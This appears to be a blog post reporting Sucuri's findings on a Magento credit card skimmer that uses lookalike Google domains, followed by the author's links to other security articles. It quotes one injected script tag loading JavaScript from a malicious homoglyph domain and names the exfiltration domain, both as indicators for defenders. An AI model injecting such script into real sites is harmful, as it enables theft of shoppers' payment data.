**Hackers use fake Google domains convincing enough to fool website visitors into believing that infected websites are safe when they conduct online transactions.** ![magento-store-hack.jpg](https://cdn.steemitimages.com/DQmaPqHWNuf53HkorhMxUa9PnVAX3aEMmtrrj4XeXX6Mufo/magento-store-hack.jpg) [Source](https://www.cloudways.com/blog/wp-content/uploads/magento-store-hack.jpg) On Thursday, [**Sucuri** researchers](https://blog.sucuri.net/2019/07/fake-google-domains-used-in-evasive-magento-skimmer.html) have published a recent case reported by a website owner under Magento. **A domain had been infected by a credit card skimmer** using JavaScript code containing a link to the malicious address of the google-analytîcs[.]com website. **An example of the code used:** < script type=" text/javascript " src =" //google-analytîcs.com/www.[edited].com/3f5cf4657d5d9.js " > < /script> *"Visitors to the website can see a trustworthy name (such as Google) in queries and assume that they can be safely loaded, without noticing that the domain does not match perfectly and that it is actually malicious,"* say researchers about this attack process. ## Card skimmer The website owner was made aware of a problem after being blacklisted. Sucuri's investigation revealed that the data entry element of the malware module is similar to others found on other scams and uses Javascript to siphon and secretly store all input data and drop-down menu selections. However, **the code will change tactics depending on whether development tools are used in the Google Chrome or Mozilla Firefox browser.** In this case, the malicious module will not attempt to obtain information in these scenarios, which is probably an attempt to avoid detection. According to Sucuri, the malicious module (called card skimmer) supports *"dozens"* of payment gateways, and if the development tools are not detected, the stolen information is sent to a remote server -- again disguised with another fraudulent domain, google[.] ssl[.]lnfo[.]cc. ## Magento, WordPress and Drupal at risk Card skimmers, installed through vulnerable e-commerce websites, are widespread. In July, **RiskIQ** reported that a recent spray-and-pray campaign had been successful for the **Magecart** hacking group, which had successfully infected more than **17,000 websites** in a few months. **Magento users**, like WordPress and Drupal, **are encouraged to keep their software up to date.** Magento domains are a frequent target for cyber attackers seeking to collect financial data, with about [**83% of Magento websites**](https://sucuri.net/reports/2018-hacked-website-report/) reported as vulnerable in 2018. **Stay Informed, Stay Safe** ![DQmdpsoEfLe5nRg4Q1oKWHNjLdMnAucCYfRou1yF5Yiwrzs.png](https://cdn.steemitimages.com/DQmTmwRbJG8FrWYFpkLR9GKTDcQAD1peWkCsLcCotMiBoqm/DQmdpsoEfLe5nRg4Q1oKWHNjLdMnAucCYfRou1yF5Yiwrzs.png) * **I've made a lot of articles with tools, explanations and advises to show you how to protect your privacy and to secure your computer, GO check them out!** * This is my guide [To Secure your PC after a fresh installation of Windows](https://steemit.com/writing/@vijbzabyss/the-guide-to-secure-your-pc-after-a-fresh-installation-of-windows) * If you think that your [Phone](https://steemit.com/writing/@vijbzabyss/how-to-tell-if-my-phone-has-been-hacked) **or** [your PC](https://steemit.com/writing/@vijbzabyss/that-s-how-you-can-know-if-you-have-been-hacked-or-to-prevent-further-attacks) has been hacked, you have to check it right now! * That's how you can be more [Anonymous on the internet!](https://steemit.com/writing/@vijbzabyss/be-anonymous-on-the-internet) * The [Future of Cyber-Security](https://steemit.com/news/@vijbzabyss/big-news-the-future-of-cyber-security-what-to-expect), what to expect? * The best [Crypto debit card – Wirex!](https://steemit.com/bitcoin/@vijbzabyss/the-best-crypto-visa-card-wirex-review) * These are the best VPN to protect your numeric life: [NordVPN](https://steemit.com/writing/@vijbzabyss/the-nordvpn-test-or-full-review-and-speed-test), [ExpressVPN](https://steemit.com/writing/@vijbzabyss/expressvpn-vpn-full-test-or-why-is-it-also-a-good-choice) and [CyberGhost](https://steemit.com/writing/@vijbzabyss/cyberghost-vpn-full-test-or-6-month-free)! * Your PC is slow? [That's why!](https://steemit.com/writing/@vijbzabyss/why-is-a-pc-slow-what-you-need-to-know-before-anything-else) * Why is it important to [Be Discreet on the Internet](https://steemit.com/writing/@vijbzabyss/why-is-it-important-to-be-discreet-on-the-internet) * The [4 security measures to put in place on your WIFI router](https://steemit.com/writing/@vijbzabyss/the-4-security-measures-to-put-in-place-on-your-wifi-router) * What Do Tech Giants Know About You? A [New Tool](https://steemit.com/news/@vijbzabyss/privacy-news-what-do-tech-giants-know-about-you-a-new-tool-to-get-an-idea) To Get An Idea! * The [Security guide everyone must have on holidays!](https://steemit.com/writing/@vijbzabyss/the-security-guide-everyone-must-have-on-holidays) * Feel hot? Your [Computer also!](https://steemit.com/writing/@vijbzabyss/you-are-hot-your-computer-also) * How an [Adware](https://steemit.com/writing/@vijbzabyss/how-an-adware-works) works? * That's how you should guard against [Trojan!](https://steemit.com/writing/@vijbzabyss/that-s-how-you-should-guard-against-trojan-if-you-care-about-you-money-and-your-privacy) * Why [Antiviruses are not your friend?!](https://steemit.com/writing/@vijbzabyss/why-antivirus-is-not-your-friend) * Basics tools to protect your [Privacy](https://steemit.com/writing/@vijbzabyss/basics-tools-to-protect-your-privacy-and-your-computer) and your [Computer](https://steemit.com/blog/@vijbzabyss/free-software-to-ensure-good-basic-security) * What are the different [Types of hackers?](https://steemit.com/writing/@vijbzabyss/the-different-types-of-hackers) ![DQmNuF3L71zzxAyJB7Lk37yBqjBRo2uafTAudFDLzsoRV5L.gif](https://cdn.steemitimages.com/DQmRZu8dBVp3kJarLxAfrd4FMS58W6NwqrRwCVn6jRVwHMp/DQmNuF3L71zzxAyJB7Lk37yBqjBRo2uafTAudFDLzsoRV5L.gif)